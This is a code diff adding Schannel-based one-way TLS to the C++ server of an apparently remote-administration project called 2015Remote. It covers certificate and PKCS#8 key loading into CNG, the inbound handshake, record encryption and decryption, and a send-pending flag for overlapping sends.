+    // 发送是否处于「进行中」状态。OnClientPreSending 每次 Send2Client 都会 Post 一个
+    // IOWrite，若不加节制，OnClientPostSending(0) 会对同一 OutCompressedBuffer 并发发起
+    // 多个 WSASend，读到同一段可变内存（背靠背小包最易触发：resize→COMMAND_NEXT→resize）。
+    // 置位后抑制多余的 IOWrite，待缓冲排空（最后一个 WSASend 完成）再清零。仅受 SendLock 保护。
+    bool                bSendPending = false;
     time_t              OnlineTime = 0;             // 上线时间
     time_t              LastHeartbeatTime = 0;      // 最后心跳时间
 
@@ -392,6 +409,11 @@ public:
     // 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问，免锁。
     TcpRttBreachDetector  m_RttDetector;
 
+    // ---- 单向 TLS 状态（跨线程：握手线程写入 TLS_Ready，工作线程读取；用 atomic 保序）----
+    std::atomic<int>      tlsState{ TLS_Unclassified };   // ServerTlsState
+    ServerTlsSession*     tls = nullptr;                  // 每连接 TLS 会话（握手线程独占→就绪后共用）
+    std::vector<BYTE>     tlsPreClassify;                 // 分类前缓冲的首批字节（嗅探 ClientHello 头）
+
     // 子连接身份校验：客户端发 TOKEN_CONN_AUTH 通过验证后置位。
     // 主连接（走 TOKEN_LOGIN 流程）不参与此机制。当前阶段宽容（未通过也接受），
     // 仅作为标记供后续命令处理 / 未来收紧策略使用。
@@ -495,6 +517,9 @@ public:
         }
     }
 
+    // 释放每连接 TLS 会话。定义在 ServerTlsSession.cpp（需 ServerTlsSession 完整类型才能 delete）。
+    void FreeTls();
+
     std::string GetProtocol() const override
     {
         return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";
@@ -539,6 +564,12 @@ public:
         m_RttUs.store(0, std::memory_order_release);
         m_LastRttSampleMs.store(0, std::memory_order_release);
         m_RttDetector.Reset();
+        // 复用对象池时重置 TLS 状态：释放旧会话、回到未分类、清空嗅探缓冲。
+        FreeTls();
+        tlsState.store(TLS_Unclassified, std::memory_order_release);
+        tlsPreClassify.clear();
+        // 复用对象池时清空发送进行中标志，避免上次连接残留的 bSendPending 抑制新连接的发送。
+        bSendPending = false;
     }
     void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
     bool IsAuthenticated() const  { return m_bAuthenticated.load(std::memory_order_acquire); }

server/2015Remote/ServerTlsSession.cpp

@@ -0,0 +1,604 @@
+// ServerTlsSession.cpp — 服务端单向 TLS（Schannel 入站）实现
+//
+// 与客户端 TlsChannel.cpp 对称，但走 AcceptSecurityContext 入站握手、DecryptMessage/
+// EncryptMessage 流式加解密。证书/私钥加载为 PEM + CNG（NCryptImportKey PKCS#8），
+// 以便与 Go 服务端（server/go 的 crypto/tls，YAMA_TLS_CERT/KEY）共用同一对密钥。
+#include "StdAfx.h"
+#include "ServerTlsSession.h"
+#include "Server.h"                 // CONTEXT_OBJECT::FreeTls()
+#include "common/iniFile.h"         // config（GetInt/GetStr）
+
+#include <ncrypt.h>
+#include <bcrypt.h>
+
+#include <fstream>
+#include <iterator>
+#include <sstream>
+
+#pragma comment(lib, "secur32.lib")
+#pragma comment(lib, "crypt32.lib")
+#pragma comment(lib, "ncrypt.lib")
+
+namespace
+{
+// 进程级身份（进程启动加载一次；未来 UI/指令热切换时改为引用计数 + 惰性释放）。
+std::mutex g_identityMtx;
+bool g_enabled = false;
+bool g_ready = false;
+bool g_loadError = false;
+CredHandle g_cred = {};
+bool g_credValid = false;
+PCCERT_CONTEXT g_cert = NULL;           // 与入站凭据同生命周期，FreeIdentity 时释放
+NCRYPT_KEY_HANDLE g_persistedKey = 0;   // 已持久化到 CNG KSP 的私钥句柄，FreeIdentity 时删除
+
+// 持久化私钥在 CNG KSP 中的名字。用固定名 + NCRYPT_OVERWRITE_KEY_FLAG，重启时覆盖旧键，
+// 避免残留；同名键的密钥材料与 server.key 相同，覆盖无副作用。
+const wchar_t* g_keyName = L"YamaServerTlsKey";
+
+// 一次性读文件为 std::string（二进制安全）。
+bool ReadFileText(const std::string& path, std::string& out)
+{
+    std::ifstream f(path, std::ios::binary);
+    if (!f.is_open())
+        return false;
+    std::ostringstream ss;
+    ss << f.rdbuf();
+    if (f.bad())
+        return false;
+    out = ss.str();
+    return true;
+}
+
+// PEM（-----BEGIN ...----- 包裹的 base64）解码为 DER。失败返回 false。
+// CRYPT_STRING_ANY 会自动识别带头的 base64（PEM），对证书与 PKCS#8 私钥均适用。
+bool PemToDer(const std::string& pem, std::vector<BYTE>& der)
+{
+    if (pem.empty())
+        return false;
+    DWORD need = 0;
+    if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
+                              NULL, &need, NULL, NULL))
+        return false;
+    der.resize(need);
+    return CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
+                                der.data(), &need, NULL, NULL) == TRUE;
+}
+
+// 从 PEM 文本里定位私钥块的类型，用于给出可操作的错误提示。
+enum KeyFmt { KF_PKCS8, KF_PKCS1, KF_UNKNOWN };
+KeyFmt DetectKeyFormat(const std::string& keyPem)
+{
+    if (keyPem.find("-----BEGIN PRIVATE KEY-----") != std::string::npos)
+        return KF_PKCS8;
+    if (keyPem.find("-----BEGIN RSA PRIVATE KEY-----") != std::string::npos ||
+        keyPem.find("-----BEGIN EC PRIVATE KEY-----") != std::string::npos)
+        return KF_PKCS1;
+    return KF_UNKNOWN;
+}
+}
+
+// =====================================================================================
+// ServerTlsIdentity —— 进程级服务端身份（可重入加载，禁止 call_once，供未来热切换）
+// =====================================================================================
+
+void ServerTlsIdentity::FreeIdentity()
+{
+    // 先释放凭据，再释放证书上下文，最后删除持久化私钥（凭据/证书可能仍按名引用该键）。
+    if (g_credValid)
+    {
+        FreeCredentialsHandle(&g_cred);
+        g_credValid = false;
+    }
+    g_cred = {};
+    if (g_cert)
+    {
+        CertFreeCertificateContext(g_cert);
+        g_cert = NULL;
+    }
+    if (g_persistedKey)
+    {
+        NCryptDeleteKey(g_persistedKey, 0);   // 删除并释放句柄
+        g_persistedKey = 0;
+    }
+}
+
+bool ServerTlsIdentity::Load(config& cfg)
+{
+    std::lock_guard<std::mutex> lk(g_identityMtx);
+
+    bool enabled = cfg.GetInt("tls", "Enabled", 0) != 0;
+    std::string certPath = cfg.GetStr("tls", "CertPath", "");
+    std::string keyPath = cfg.GetStr("tls", "KeyPath", "");
+
+    g_enabled = enabled;
+
+    // 先释放旧身份（本轮只在启动时调用一次，不存在「旧身份仍被并发握手使用」的问题；
+    // 未来热切换需先引用计数、再惰性释放旧凭据）。
+    FreeIdentity();
+    g_ready = false;
+    g_loadError = false;
+
+    if (!enabled)
+    {
+        Mprintf("[TLS] server TLS disabled ([tls] Enabled=0) — plaintext only\n");
+        return true;
+    }
+
+    if (certPath.empty() || keyPath.empty())
+    {
+        g_loadError = true;
+        Mprintf("[TLS] FATAL: [tls] Enabled=1 but CertPath/KeyPath empty; "
+                "refusing TLS ClientHello (fail-closed)\n");
+        return false;
+    }
+
+    if (!LoadIdentity(certPath, keyPath))
+    {
+        g_loadError = true;
+        return false;
+    }
+
+    g_ready = true;
+    Mprintf("[TLS] server TLS enabled: cert=%s key=%s\n", certPath.c_str(), keyPath.c_str());
+    return true;
+}
+
+bool ServerTlsIdentity::LoadIdentity(const std::string& certPath, const std::string& keyPath)
+{
+    std::string certPem, keyPem;
+    if (!ReadFileText(certPath, certPem))
+    {
+        Mprintf("[TLS] FATAL: cannot read cert file %s\n", certPath.c_str());
+        return false;
+    }
+    if (!ReadFileText(keyPath, keyPem))
+    {
+        Mprintf("[TLS] FATAL: cannot read key file %s\n", keyPath.c_str());
+        return false;
+    }
+
+    // 1) 证书：PEM → DER → PCCERT_CONTEXT。
+    std::vector<BYTE> certDer;
+    if (!PemToDer(certPem, certDer))
+    {
+        Mprintf("[TLS] FATAL: cert file %s is not a valid PEM\n", certPath.c_str());
+        return false;
+    }
+    PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING,
+                                                       certDer.data(), (DWORD)certDer.size());
+    if (cert == NULL)
+    {
+        Mprintf("[TLS] FATAL: CertCreateCertificateContext failed (%u)\n", GetLastError());
+        return false;
+    }
+
+    // 2) 私钥：PEM → DER → 持久化到 CNG KSP（仅支持 PKCS#8；PKCS#1 给出可操作的转换提示）。
+    //
+    // 关键：Schannel 入站凭据（AcquireCredentialsHandle）需要「能按名重开」的持久化私钥。
+    // NCryptImportKey 产出的是匿名临时键，绑定 CERT_NCRYPT_KEY_HANDLE_PROP_ID 后 Schannel 仍
+    // 拿不到（AcquireCredentialsHandle 返回 SEC_E_NO_CREDENTIALS 0x8009030e）。因此先把
+    // PKCS#8 导入为临时键、导出为裸 RSA 私钥 BLOB（NCryptSetProperty 只认裸 BLOB，不认
+    // PKCS#8），再写入持久化键并 finalize，最后用 CERT_KEY_PROV_INFO_PROP_ID 按名引用。
+    std::vector<BYTE> keyDer;
+    NCRYPT_KEY_HANDLE persistedKey = 0;
+    if (DetectKeyFormat(keyPem) == KF_PKCS8)
+    {
+        if (!PemToDer(keyPem, keyDer))
+        {
+            Mprintf("[TLS] FATAL: key file %s is not a valid PEM\n", keyPath.c_str());
+            CertFreeCertificateContext(cert);
+            return false;
+        }
+        // 显式打开 Microsoft Software Key Storage Provider。hProvider 传 NULL 会让
+        // NCryptImportKey 走「默认提供者」解析，实测返回 NTE_INVALID_HANDLE(0x80090026)，
+        // 故必须显式取得 KSP 句柄（临时键独立于 hProv，导入后即可释放）。
+        NCRYPT_PROV_HANDLE hProv = 0;
+        SECURITY_STATUS st = NCryptOpenStorageProvider(&hProv, MS_KEY_STORAGE_PROVIDER, 0);
+        if (st != ERROR_SUCCESS)
+        {
+            Mprintf("[TLS] FATAL: NCryptOpenStorageProvider failed 0x%08x\n", (unsigned)st);
+            CertFreeCertificateContext(cert);
+            return false;
+        }
+
+        // 2a) PKCS#8 → 临时键。
+        NCRYPT_KEY_HANDLE tmp = 0;
+        st = NCryptImportKey(hProv, NULL, NCRYPT_PKCS8_PRIVATE_KEY_BLOB, NULL,
+                             &tmp, keyDer.data(), (DWORD)keyDer.size(), 0);
+        if (st == ERROR_SUCCESS)
+        {
+            // 2b) 允许明文导出，导出为裸 RSA 私钥 BLOB。
+            DWORD policy = NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG | NCRYPT_ALLOW_EXPORT_FLAG;
+            NCryptSetProperty(tmp, NCRYPT_EXPORT_POLICY_PROPERTY, (PBYTE)&policy, sizeof(policy), 0);
+
+            std::vector<BYTE> raw;
+            DWORD rawLen = 0;
+            st = NCryptExportKey(tmp, NULL, BCRYPT_RSAFULLPRIVATE_BLOB, NULL, NULL, 0, &rawLen, 0);
+            if (st == ERROR_SUCCESS)
+            {
+                raw.resize(rawLen);
+                st = NCryptExportKey(tmp, NULL, BCRYPT_RSAFULLPRIVATE_BLOB, NULL,
+                                     raw.data(), rawLen, &rawLen, 0);
+            }
+
+            // 2c) 写入持久化键并 finalize（落到 KSP，可被 Schannel 按名重开）。
+            if (st == ERROR_SUCCESS)
+                st = NCryptCreatePersistedKey(hProv, &persistedKey, BCRYPT_RSA_ALGORITHM,
+                                              g_keyName, AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG);
+            if (st == ERROR_SUCCESS)
+                st = NCryptSetProperty(persistedKey, BCRYPT_RSAFULLPRIVATE_BLOB,
+                                      raw.data(), (DWORD)raw.size(), 0);
+            if (st == ERROR_SUCCESS)
+                st = NCryptFinalizeKey(persistedKey, 0);
+
+            NCryptFreeObject(tmp);
+        }
+        NCryptFreeObject(hProv);
+
+        if (st != ERROR_SUCCESS)
+        {
+            Mprintf("[TLS] FATAL: failed to persist PKCS#8 key for %s (0x%08x)\n",
+                    keyPath.c_str(), (unsigned)st);
+            if (persistedKey)
+                NCryptFreeObject(persistedKey);
+            CertFreeCertificateContext(cert);
+            return false;
+        }
+    }
+    else
+    {
+        // PKCS#1（RSA/EC PRIVATE KEY）或未知格式：本次不支持，给转换命令。
+        Mprintf("[TLS] FATAL: key file %s must be PKCS#8 (-----BEGIN PRIVATE KEY-----). "
+                "Convert with: openssl pkcs8 -topk8 -nocrypt -in %s -out %s\n",
+                keyPath.c_str(), keyPath.c_str(), keyPath.c_str());
+        CertFreeCertificateContext(cert);
+        return false;
+    }
+
+    // 3) 绑定私钥到证书上下文：按名引用持久化键。Schannel 经 CryptAcquireCertificatePrivateKey
+    //    在 MS_KEY_STORAGE_PROVIDER 里用 pwszContainerName 重开该键。
+    CRYPT_KEY_PROV_INFO provInfo = {};
+    provInfo.pwszContainerName = (LPWSTR)g_keyName;
+    provInfo.pwszProvName = (LPWSTR)MS_KEY_STORAGE_PROVIDER;
+    provInfo.dwProvType = 0;                 // 0 = CNG（无 CAPI provider type）
+    provInfo.dwKeySpec = AT_KEYEXCHANGE;
+    if (!CertSetCertificateContextProperty(cert, CERT_KEY_PROV_INFO_PROP_ID, 0, &provInfo))
+    {
+        Mprintf("[TLS] FATAL: CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID) "
+                "failed (%u)\n", GetLastError());
+        NCryptDeleteKey(persistedKey, 0);   // 删除并释放句柄
+        CertFreeCertificateContext(cert);
+        return false;
+    }
+    // 绑定后持久化键句柄交进程级 g_persistedKey，随 FreeIdentity 删除（覆盖旧键，避免残留）。
+    g_persistedKey = persistedKey;
+
+    // 4) 入站凭据：显式指定服务端证书，不请求客户端证书（单向 TLS）。
+    SCHANNEL_CRED sc = {};
+    sc.dwVersion = SCHANNEL_CRED_VERSION;
+    sc.cCreds = 1;
+    sc.paCred = &cert;
+    sc.grbitEnabledProtocols = SP_PROT_TLS1_2_SERVER;
+    // NO_DEFAULT_CREDS 避免回退到系统默认凭据，确保只用我们提供的证书/私钥。
+    //（单向 TLS 不请求客户端证书，故无需 SCH_CRED_MANUAL_CRED_VALIDATION。）
+    sc.dwFlags = SCH_CRED_NO_DEFAULT_CREDS;
+
+    TimeStamp tsExpiry = {};
+    SECURITY_STATUS st = AcquireCredentialsHandleA(
+        NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND,
+        NULL, &sc, NULL, NULL, &g_cred, &tsExpiry);
+
+    if (st != SEC_E_OK)
+    {
+        Mprintf("[TLS] FATAL: AcquireCredentialsHandle(SECPKG_CRED_INBOUND) failed 0x%08x\n",
+                (unsigned)st);
+        CertFreeCertificateContext(cert);   // 无凭据引用，安全释放
+        g_cred = {};
+        if (g_persistedKey)                 // 回滚：删除已持久化的私钥，避免残留
+        {
+            NCryptDeleteKey(g_persistedKey, 0);   // 删除并释放句柄
+            g_persistedKey = 0;
+        }
+        return false;
+    }
+
+    // 成功：把证书上下文生命周期交给进程级 g_cert，随 FreeIdentity 释放，
+    // 保证在 FreeCredentialsHandle 之前私钥一直可用。
+    g_cert = cert;
+    g_credValid = true;
+    return true;
+}
+
+bool ServerTlsIdentity::IsEnabled()
+{
+    std::lock_guard<std::mutex> lk(g_identityMtx);
+    return g_enabled;
+}
+
+bool ServerTlsIdentity::IsReady()
+{
+    std::lock_guard<std::mutex> lk(g_identityMtx);
+    return g_ready && g_credValid;
+}
+
+bool ServerTlsIdentity::IsLoadError()
+{
+    std::lock_guard<std::mutex> lk(g_identityMtx);
+    return g_loadError;
+}
+
+CredHandle ServerTlsIdentity::Cred()
+{
+    std::lock_guard<std::mutex> lk(g_identityMtx);
+    return g_cred;
+}
+
+// =====================================================================================
+// ServerTlsSession —— 单连接会话（握手 + 加解密）
+// =====================================================================================
+
+void ServerTlsSession::CloseHandles()
+{
+    if (m_ctxValid)
+    {
+        DeleteSecurityContext(&m_ctx);
+        m_ctxValid = false;
+    }
+    m_ctx = {};
+    m_ready = false;
+    m_raw.clear();
+}
+
+// 握手线程在 IOCP 的子套接字上做同步 I/O。该套接字可能是非阻塞的（监听套接字经
+// WSAEventSelect 置为非阻塞后，accept 出的子套接字继承非阻塞态；线程里 FIONBIO=0 也
+// 不一定即时生效）。故 recv/send 遇 WSAEWOULDBLOCK 时用 select 等可读/可写再重试，
+// 而非当致命错误，避免「客户端回包还没到就误判握手失败」。
+static bool WaitSocketReady(SOCKET sock, bool forRead, int timeoutMs)
+{
+    fd_set fds;
+    FD_ZERO(&fds);
+    FD_SET(sock, &fds);
+    timeval tv;
+    tv.tv_sec = timeoutMs / 1000;
+    tv.tv_usec = (timeoutMs % 1000) * 1000;
+    return select(0, forRead ? &fds : NULL, forRead ? NULL : &fds, NULL, &tv) > 0;
+}
+
+bool ServerTlsSession::SendAll(SOCKET sock, const void* data, int len)
+{
+    const BYTE* p = (const BYTE*)data;
+    int sent = 0;
+    while (sent < len)
+    {
+        int n = send(sock, (const char*)p + sent, len - sent, 0);
+        if (n == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK)
+        {
+            if (!WaitSocketReady(sock, false, 15000))
+                return false;
+            continue;   // 非阻塞套接字发送缓冲满：等可写后重试
+        }
+        if (n <= 0)
+            return false;
+        sent += n;
+    }
+    return true;
+}
+
+bool ServerTlsSession::Handshake(SOCKET sock, const BYTE* initial, int initialLen)
+{
+    std::lock_guard<std::mutex> lk(m_mtx);
+    if (m_ctxValid)
+        CloseHandles();   // 防御：会话应只握手一次
+
+    CredHandle cred = ServerTlsIdentity::Cred();
+
+    // 单向 TLS：服务端不请求客户端证书，故无需 ASC_REQ_MANUAL_CRED_VALIDATION
+    //（该标志只在 mTLS 校验客户端证书时有意义；SDK 的 ASC 命名空间里亦无此常量）。
+    DWORD req = ASC_REQ_SEQUENCE_DETECT | ASC_REQ_REPLAY_DETECT | ASC_REQ_CONFIDENTIALITY |
+                ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_STREAM;
+
+    std::vector<BYTE> hs(initial, initial + initialLen);
+    CtxtHandle ctx = {};
+    bool ctxValid = false;
+    TimeStamp tsExpiry = {};
+    ULONG attrs = 0;
+    SECURITY_STATUS sc = SEC_I_CONTINUE_NEEDED;
+
+    for (;;)
+    {
+        SecBuffer inBufs[2] = {
+            { (ULONG)hs.size(), SECBUFFER_TOKEN, hs.empty() ? NULL : hs.data() },
+            { 0, SECBUFFER_EMPTY, NULL },
+        };
+        SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
+        SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
+        SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
+
+        sc = AcceptSecurityContext(&cred, ctxValid ? &ctx : NULL, &inDesc, req,
+                                   SECURITY_NATIVE_DREP, ctxValid ? NULL : &ctx,
+                                   &outDesc, &attrs, &tsExpiry);
+        ctxValid = true;
+
+        // 发出服务端握手记录（ServerHello/Certificate/... 或 Finished）。
+        if (outBuf.cbBuffer > 0 && outBuf.pvBuffer)
+        {
+            bool ok = SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer);
+            FreeContextBuffer(outBuf.pvBuffer);
+            if (!ok)
+            {
+                sc = SEC_E_INTERNAL_ERROR;
+                break;
+            }
+        }
+
+        // 计算已消费字节：SECBUFFER_EXTRA 里是「未消费的尾部」（下一条握手消息 / 首条应用数据）。
+        // 必须在 SEC_E_OK / 失败判定之前处理：否则握手完成时 hs 里仍混着已消费的握手记录，
+        // 紧跟 Finished 的首条应用数据（客户端登录包）会随 hs 一起被丢弃，导致随机丢包。
+        if (inBufs[1].BufferType == SECBUFFER_EXTRA)
+        {
+            int extra = (int)inBufs[1].cbBuffer;
+            hs.erase(hs.begin(), hs.begin() + (hs.size() - extra));
+        }
+        else if (sc != SEC_E_INCOMPLETE_MESSAGE && sc != SEC_I_INCOMPLETE_CREDENTIALS)
+        {
+            hs.clear();   // 已全部消费，继续等下一轮握手消息
+        }
+        // 否则：SEC_E_INCOMPLETE_MESSAGE —— 保留 hs（不完整消息），续收补齐。
+
+        if (sc == SEC_E_OK)
+            break;
+        if (FAILED(sc) && sc != SEC_E_INCOMPLETE_MESSAGE && sc != SEC_I_INCOMPLETE_CREDENTIALS)
+        {
+            Mprintf("[TLS] AcceptSecurityContext failed 0x%08x (in=%u consumed? extra=%u)\n",
+                    (unsigned)sc, inBufs[0].cbBuffer, inBufs[1].BufferType == SECBUFFER_EXTRA ? inBufs[1].cbBuffer : 0);
+            break;   // 真正的失败
+        }
+
+        char raw[8192];
+        int r;
+        for (;;)
+        {
+            r = recv(sock, raw, sizeof(raw), 0);
+            if (r == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK)
+            {
+                if (!WaitSocketReady(sock, true, 15000))
+                {
+                    r = SOCKET_ERROR;
+                    break;   // 等可读超时
+                }
+                continue;   // 非阻塞套接字暂无数据：等可读后重试
+            }
+            break;
+        }
+        if (r <= 0)
+        {
+            Mprintf("[TLS] handshake recv failed/EOF (r=%d err=%d)\n", r, WSAGetLastError());
+            sc = SEC_E_INTERNAL_ERROR;
+            break;
+        }
+        hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
+    }
+
+    if (sc != SEC_E_OK)
+    {
+        Mprintf("[TLS] handshake failed: final status 0x%08x (fail-closed)\n", (unsigned)sc);
+        if (ctxValid)
+            DeleteSecurityContext(&ctx);
+        return false;
+    }
+
+    // 握手成功后 hs 里残留的「未消费尾部」是紧跟 Finished 的首条应用数据（TLS 记录）。
+    // 交给 Decrypt 处理，否则首包会丢（表现为随机登录超时/重连/协议错位）。
+    if (!hs.empty())
+        m_raw.insert(m_raw.end(), hs.begin(), hs.end());
+
+    // 查询流式记录尺寸（加密封装用）。
+    SecPkgContext_StreamSizes sizes = {};
+    if (QueryContextAttributes(&ctx, SECPKG_ATTR_STREAM_SIZES, &sizes) != SEC_E_OK)
+    {
+        DeleteSecurityContext(&ctx);
+        return false;
+    }
+
+    m_ctx = ctx;
+    m_ctxValid = true;
+    m_sizes = sizes;
+    m_ready = true;
+    return true;
+}
+
+int ServerTlsSession::Decrypt(const BYTE* cipher, int len, std::vector<BYTE>& plain)
+{
+    std::lock_guard<std::mutex> lk(m_mtx);
+    if (!m_ready)
+        return -1;
+    if (len <= 0)
+        return 0;
+
+    m_raw.insert(m_raw.end(), cipher, cipher + len);
+
+    for (;;)
+    {
+        SecBuffer bufs[4] = {
+            { (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.empty() ? NULL : m_raw.data() },
+            { 0, SECBUFFER_EMPTY, NULL },
+            { 0, SECBUFFER_EMPTY, NULL },
+            { 0, SECBUFFER_EMPTY, NULL },
+        };
+        SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
+
+        SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
+        if (sc == SEC_E_INCOMPLETE_MESSAGE)
+            break;                        // 记录不完整，等下一轮 WSARecv
+        if (sc == SEC_I_CONTEXT_EXPIRED) {
+            Mprintf("[TLS] DecryptMessage: peer close_notify (SEC_I_CONTEXT_EXPIRED)\n");
+            return -1;                    // 对端 close_notify / 会话结束
+        }
+        if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
+            Mprintf("[TLS] DecryptMessage failed 0x%08x (raw=%u)\n", (unsigned)sc, (unsigned)m_raw.size());
+            return -1;
+        }
+
+        int decLen = (int)bufs[1].cbBuffer;
+        const BYTE* p = (const BYTE*)bufs[1].pvBuffer;
+        int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? (int)bufs[3].cbBuffer : 0;
+        int consumed = (int)m_raw.size() - extra;
+
+        if (decLen > 0 && p)
+            plain.insert(plain.end(), p, p + decLen);
+
+        m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
+        if (m_raw.empty())
+            break;
+    }
+    return 0;
+}
+
+int ServerTlsSession::Encrypt(const BYTE* plain, int len, std::vector<BYTE>& wire)
+{
+    std::lock_guard<std::mutex> lk(m_mtx);
+    if (!m_ready)
+        return -1;
+    if (len <= 0)
+        return 0;
+
+    ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
+    int total = 0;
+    while (total < len)
+    {
+        int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
+
+        std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
+        BYTE* hdr = rec.data();
+        BYTE* body = hdr + m_sizes.cbHeader;
+        BYTE* trailer = body + chunk;
+        memcpy(body, plain + total, chunk);
+
+        SecBuffer bufs[4] = {
+            { m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
+            { (ULONG)chunk, SECBUFFER_DATA, body },
+            { m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
+            { 0, SECBUFFER_EMPTY, NULL },
+        };
+        SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
+
+        SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
+        if (FAILED(sc))
+            return -1;   // 握手已建立，此处失败视为致命（调用方关闭连接）
+
+        int wireLen = (int)(bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer);
+        wire.insert(wire.end(), rec.data(), rec.data() + wireLen);
+        total += chunk;
+    }
+    return total;
+}
+
+// =====================================================================================
+// CONTEXT_OBJECT::FreeTls —— 释放每连接 TLS 会话（定义在此以便 delete 完整类型）
+// =====================================================================================
+
+void CONTEXT_OBJECT::FreeTls()
+{
+    delete tls;
+    tls = NULL;
+}

server/2015Remote/ServerTlsSession.h

@@ -0,0 +1,92 @@
+// ServerTlsSession.h — MFC 服务端单向 TLS（Schannel 入站）会话封装
+//
+// 与客户端 TlsChannel 对称：客户端走 InitializeSecurityContext（出站），本类走
+// AcceptSecurityContext（入站）。单向 TLS：不请求/校验客户端证书，客户端身份仍由
+// 隧道内登录（V1 PwdHmac / V2 ECDSA）承担。
+//
+// 分层：
+//   ServerTlsIdentity —— 进程级「服务端身份」（证书 + 私钥 → 入站凭据）。可重入加载
+//     （Load 禁止用 call_once，供未来 UI/指令热切换），本轮启动时加载一次。
+//   ServerTlsSession —— 每条连接一个，持有握手/加解密所需的 Schannel 上下文与缓冲，
+//     随 CONTEXT_OBJECT 池化复用而重建。
+//
+// 线程模型：Handshake 在专用握手线程上阻塞执行（方案 A）；握手完成后，Decrypt 由
+// IOCP 工作线程调用（每连接同一时刻只有一个未决 WSARecv，天然串行）、Encrypt 在
+// SendLock 内调用。Schannel 上下文非线程安全，故 Encrypt/Decrypt 内部以 m_mtx 互斥。
+//
+// 选型：Schannel（Windows 原生 SSPI），secur32.lib / crypt32.lib / ncrypt.lib 系统库。
+// 证书/私钥为 PEM（与 Go 服务端 YAMA_TLS_CERT/KEY 同构，可共用同一对密钥）；私钥
+// 须为 PKCS#8（-----BEGIN PRIVATE KEY-----），见 ServerTlsSession.cpp 的加载实现。
+#pragma once
+
+#include <WinSock2.h>
+
+#ifndef SECURITY_WIN32
+#define SECURITY_WIN32 1
+#endif
+#include <security.h>
+#include <schannel.h>
+
+#include <mutex>
+#include <string>
+#include <vector>
+
+class config;   // common/iniFile.h（仅需引用，避免把 ini 头拖进 Server.h 的 include 图）
+
+// ---- 进程级服务端身份（证书 + 私钥），可重入加载（禁止 call_once，供未来热切换）----
+class ServerTlsIdentity
+{
+public:
+    // 从 cfg（THIS_CFG）读 [tls] 节：Enabled / CertPath / KeyPath，并加载身份。
+    // 返回 true 表示「配置已生效」（开关关、或开关开且身份加载成功）；开关开但加载
+    // 失败时返回 false 且 IsLoadError()==true，服务端须对 TLS ClientHello fail-closed。
+    static bool Load(config& cfg);
+
+    static bool IsEnabled();    // [tls] Enabled != 0
+    static bool IsReady();      // 开关开 && 身份加载成功（有可用入站凭据）
+    static bool IsLoadError();  // 开关开 && 身份加载失败（fail-closed）
+
+    // 入站凭据（AcquireCredentialsHandle 产出）。返回拷贝；句柄值本身可安全拷贝。
+    static CredHandle Cred();
+
+private:
+    static void FreeIdentity();
+    static bool LoadIdentity(const std::string& certPath, const std::string& keyPath);
+};
+
+// ---- 单连接服务端 TLS 会话（握手 + 加解密）----
+class ServerTlsSession
+{
+public:
+    ServerTlsSession() {}
+    ~ServerTlsSession() { CloseHandles(); }
+
+    ServerTlsSession(const ServerTlsSession&) = delete;
+    ServerTlsSession& operator=(const ServerTlsSession&) = delete;
+
+    // 阻塞式服务端握手（方案 A：专用握手线程上调用）。initial/initialLen 是嗅探阶段已
+    // 收到的 ClientHello 字节（可能只是分片；内部按 SEC_E_INCOMPLETE_MESSAGE 续收补齐）。
+    // 成功返回 true，失败 false（调用方关闭连接，fail-closed）。
+    bool Handshake(SOCKET sock, const BYTE* initial, int initialLen);
+
+    // 解密：把本次 WSARecv 收到的密文 cipher[0..len] 喂入，把能解出的明文追加到 plain。
+    // 返回 0 = 成功（可能无明文）；-1 = 错误 / 对端 close_notify（调用方关闭连接）。
+    int Decrypt(const BYTE* cipher, int len, std::vector<BYTE>& plain);
+
+    // 加密：把明文 plain[0..len] 加密成完整 TLS 记录，追加到 wire。
+    // 返回加密的明文字节数（== len）；-1 = 错误。
+    int Encrypt(const BYTE* plain, int len, std::vector<BYTE>& wire);
+
+    bool Ready() const { return m_ready; }
+
+private:
+    void CloseHandles();
+    bool SendAll(SOCKET sock, const void* data, int len);
+
+    std::mutex m_mtx;           // 序列化对 m_ctx 的 Encrypt/Decrypt（Schannel 非线程安全）
+    CtxtHandle m_ctx = {};
+    bool m_ctxValid = false;
+    bool m_ready = false;
+    SecPkgContext_StreamSizes m_sizes = {};
+    std::vector<BYTE> m_raw;    // 尚未解密 / 未消费完的 TLS 记录原始字节
+};

server/2015Remote/SystemDlg.cpp

@@ -232,6 +232,26 @@ void CSystemDlg::ShowWindowsList(void)
     ApplySort();  // 应用记忆的排序偏好
 }
 
